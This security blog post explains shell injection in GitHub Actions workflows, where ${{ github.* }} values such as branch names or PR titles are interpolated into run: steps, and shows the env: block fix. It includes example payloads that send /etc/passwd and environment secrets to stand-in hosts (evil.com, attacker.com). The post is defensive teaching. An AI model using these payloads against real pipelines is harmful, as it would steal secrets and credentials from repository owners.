Back to Blog
high SEVERITY9 min read

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

O
By orbisai0security
•April 22, 2026

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

Vulnerability: GitHub Actions Run Shell Injection
Severity: šŸ”“ HIGH
File: .github/workflows/deployment.yml
Fixed By: Automated security remediation via OrbisAI Security


Introduction

CI/CD pipelines have become the beating heart of modern software delivery. Every commit, every pull request, every deployment flows through them — which is exactly why they've become a prime target for attackers. A single vulnerability in your GitHub Actions workflow can hand an adversary the keys to your entire kingdom: your secrets, your source code, and your production infrastructure.

This post explores a high-severity shell injection vulnerability found in a GitHub Actions deployment workflow — specifically, the dangerous pattern of using ${{github.*}} context variable interpolation directly inside run: steps. If you write GitHub Actions workflows, this is a vulnerability pattern you absolutely need to understand.


The Vulnerability Explained

What Is Shell Injection in GitHub Actions?

GitHub Actions workflows use a special expression syntax — ${{ ... }} — to interpolate dynamic values into workflow files. This syntax is powerful and convenient, letting you reference things like:

  • ${{ github.event.pull_request.title }} — the PR title
  • ${{ github.head_ref }} — the branch name
  • ${{ github.event.issue.body }} — the body of an issue

The problem? These values can contain arbitrary user-supplied input. When you interpolate them directly into a run: step shell script, GitHub Actions substitutes the value before the shell ever sees it. This means the shell doesn't just receive data — it receives potentially executable code.

This is the classic code injection pattern, just wearing a CI/CD disguise.

The Vulnerable Pattern

Here's what the dangerous pattern looks like:

# āŒ VULNERABLE: Direct interpolation of github context in run step
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"

At first glance, this looks completely harmless. But consider what happens when github.head_ref contains something like:

main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #

After GitHub Actions performs its template substitution, the shell receives:

echo "Deploying branch: main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"
./deploy.sh --branch "main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"

The injected payload executes as a legitimate shell command — with full access to the runner environment.

How Does an Attacker Control These Values?

This is where it gets concerning. Many github context properties are directly controlled by external users:

Context Variable Controlled By
github.event.pull_request.title Anyone who opens a PR
github.event.pull_request.body Anyone who opens a PR
github.head_ref Anyone who opens a PR (branch name)
github.event.issue.title Anyone who opens an issue
github.event.issue.body Anyone who opens an issue
github.event.comment.body Anyone who comments
github.event.review.body Anyone who submits a review

In open-source repositories — or any repository where external contributors can open pull requests — any anonymous user on the internet can supply these values.

Real-World Attack Scenario

Imagine a public open-source project with a deployment workflow that prints the PR title in a run: step. An attacker forks the repository and opens a pull request with this title:

Fix bug"; env | base64 | curl -X POST https://attacker.com/collect -d @-; echo "

When the workflow triggers on pull_request, the injected commands run inside the GitHub Actions runner, which has access to:

  • All repository secrets (via environment variables)
  • GITHUB_TOKEN (potentially with write access)
  • Cloud credentials (AWS keys, GCP service accounts, etc.)
  • The entire source code and build artifacts

The attacker receives a base64-encoded dump of all environment variables — including every secret configured in the repository — sent directly to their server. This is a complete supply chain compromise achieved through nothing more than a cleverly named pull request.

Why Is This Particularly Dangerous?

  1. It's invisible to code review — the workflow YAML looks normal
  2. It affects secrets directly — runners have access to all configured secrets
  3. It can persist — attackers can use the access to backdoor the codebase
  4. It's easy to miss — the pattern is common and looks idiomatic
  5. Workflows often run with elevated permissions — especially deployment workflows

The Fix

What Changed

The fix is conceptually simple but critically important: never interpolate github context data directly into shell commands. Instead, pass the data through an intermediate environment variable defined in the env: block of the step.

# āŒ BEFORE: Vulnerable — direct interpolation in shell
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"
# āœ… AFTER: Safe — using intermediate environment variable
steps:
  - name: Deploy application
    env:
      BRANCH_NAME: ${{ github.head_ref }}
    run: |
      echo "Deploying branch: $BRANCH_NAME"
      ./deploy.sh --branch "$BRANCH_NAME"

Why Does This Fix Work?

The key difference is when and how the value is processed:

Vulnerable pattern:
1. GitHub Actions template engine substitutes ${{ github.head_ref }} directly into the shell script text
2. The shell receives and executes the fully-substituted string as code
3. Any shell metacharacters in the value are interpreted as commands

Fixed pattern:
1. GitHub Actions template engine assigns ${{ github.head_ref }} to the environment variable BRANCH_NAME
2. The shell script references $BRANCH_NAME as a data value, not as inline code
3. The shell treats the environment variable's content as a string, not as executable syntax

This is the same principle behind parameterized queries in SQL injection prevention — you separate code from data. The env: block creates a safe boundary where user-controlled values are treated as data, not code.

The Importance of Double-Quoting

Notice the double quotes around "$BRANCH_NAME" in the fixed example. This is not optional:

# āœ… Correct — quoted, handles spaces and special characters safely
./deploy.sh --branch "$BRANCH_NAME"

# āš ļø Risky — unquoted, vulnerable to word splitting
./deploy.sh --branch $BRANCH_NAME

Always double-quote environment variables in shell scripts, especially those derived from user input. Unquoted variables can still lead to unexpected behavior through word splitting and globbing, even when the injection vector is closed.

Applying the Fix Across Multiple Steps

If multiple steps in your workflow use the same context value, define the environment variable at the job level:

# āœ… Job-level env for reuse across steps
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      BRANCH_NAME: ${{ github.head_ref }}
      PR_TITLE: ${{ github.event.pull_request.title }}
    steps:
      - name: Log deployment info
        run: echo "Deploying $PR_TITLE from branch $BRANCH_NAME"

      - name: Run deployment
        run: ./deploy.sh --branch "$BRANCH_NAME"

Prevention & Best Practices

1. Treat All github Context Data as Untrusted

Adopt a simple mental model: any github context value that could have been set by an external user is untrusted input. This includes anything derived from:
- Pull request metadata (title, body, branch names, labels)
- Issue metadata (title, body)
- Comment bodies
- Review bodies
- Commit messages (yes, these too!)

2. Use the env: Block as Your Safety Boundary

Make it a team convention: ${{ github.* }} belongs in env: blocks, never in run: scripts.

# āœ… The golden rule
env:
  SAFE_VAR: ${{ github.potentially_dangerous_value }}
run: |
  use_it "$SAFE_VAR"

3. Use toJSON() for Complex Values

When working with complex context objects, use the toJSON() function to safely serialize them:

env:
  PR_BODY: ${{ toJSON(github.event.pull_request.body) }}
run: |
  echo "$PR_BODY" | process_safely

4. Prefer actions/github-script for Complex Logic

For workflows that need to do significant processing of GitHub context data, consider using actions/github-script instead of shell scripts. It provides a JavaScript environment where you can handle user input more safely:

- uses: actions/github-script@v7
  with:
    script: |
      const branchName = context.payload.pull_request.head.ref;
      // Handle branchName as a JS string, not shell code
      console.log(`Branch: ${branchName}`);

5. Restrict Workflow Permissions

Apply the principle of least privilege to your workflows. Limit what a compromised runner can actually do:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only what you need
  # NOT: write-all

6. Use Static Analysis Tools

Catch these vulnerabilities before they reach production:

  • Semgrep — The scanner that caught this vulnerability. Run it in your CI pipeline with the GitHub Actions ruleset.
  • actionlint — A static checker specifically for GitHub Actions workflows that catches shell injection patterns.
  • zizmor — A security-focused static analysis tool for GitHub Actions.
  • StepSecurity Harden-Runner — Runtime security for GitHub Actions runners.

Add actionlint to your workflow validation:

- name: Lint GitHub Actions workflows
  uses: raven-actions/actionlint@v2

7. Enable Branch Protection and Workflow Approvals

For public repositories, require approval before running workflows on pull requests from first-time contributors:

on:
  pull_request_target:
    # Requires explicit approval for external PRs

āš ļø Warning: pull_request_target runs in the context of the base branch and has access to secrets. Use it carefully and never check out untrusted code with it.

Security Standards & References

This vulnerability maps to several well-known security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • OWASP A03:2021: Injection
  • GitHub Security Advisory: Understanding the risk of script injections
  • SLSA Framework: Supply chain integrity requirements

Conclusion

Shell injection in GitHub Actions is a subtle but devastating vulnerability class. The ${{ }} syntax is so natural and idiomatic in workflow files that it's easy to use it everywhere — including places where it creates serious security holes. The fix is equally simple: always route github context data through env: variables before using them in shell scripts.

Key Takeaways

  1. ${{ github.* }} in run: steps = shell injection risk — always use env: as an intermediary
  2. User-controlled context values are untrusted input — treat them like data from the internet
  3. Always double-quote your environment variables — "$VAR" not $VAR
  4. Use static analysis tools — Semgrep and actionlint can catch this automatically
  5. Apply least privilege — limit what a compromised runner can access

CI/CD pipelines are high-value targets precisely because they sit at the intersection of code, secrets, and production infrastructure. A small fix like this one — a few lines of YAML — can be the difference between a routine deployment and a catastrophic breach.

Secure your pipelines. Your future self (and your users) will thank you.


This vulnerability was automatically detected and fixed by OrbisAI Security. Automated security scanning helps catch these issues before they reach production — consider integrating security scanning into your own CI/CD pipeline.


Further Reading:
- GitHub Docs: Security hardening for GitHub Actions
- Semgrep Rules: GitHub Actions Security
- Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- actionlint: Static checker for GitHub Actions workflow files

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13258

Related Articles

high

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

critical

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin

high

GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions release workflow, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of vulnerability can lead to secret theft, code tampering, and full pipeline compromise. The fix involves a simple but critical pattern change: routing untrusted context data through intermediate environment variables before using them in s

high

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

high

Shell Injection via Unsafe String Concatenation in gRPCurl Command Generation

A high-severity vulnerability was discovered in PaddleOCR's deployment configuration where model download URLs were specified using unencrypted `http://`, exposing users to man-in-the-middle attacks that could allow an attacker to intercept and replace model files with malicious ones. The fix upgrades all model download URLs to use `https://`, ensuring encrypted transmission and integrity of the downloaded files. This change is a critical security baseline for any application that downloads bina

high

Locking Down Docker: Preventing Privilege Escalation in Container Services

A high-severity privilege escalation vulnerability was discovered in a Docker Compose configuration where the `nginx` service lacked the `no-new-privileges` security option and was running with a writable root filesystem. These misconfigurations could allow a compromised container process to gain elevated permissions or download and execute malicious payloads. The fix applies defense-in-depth by adding `no-new-privileges:true`, enforcing a read-only root filesystem, and redirecting writable path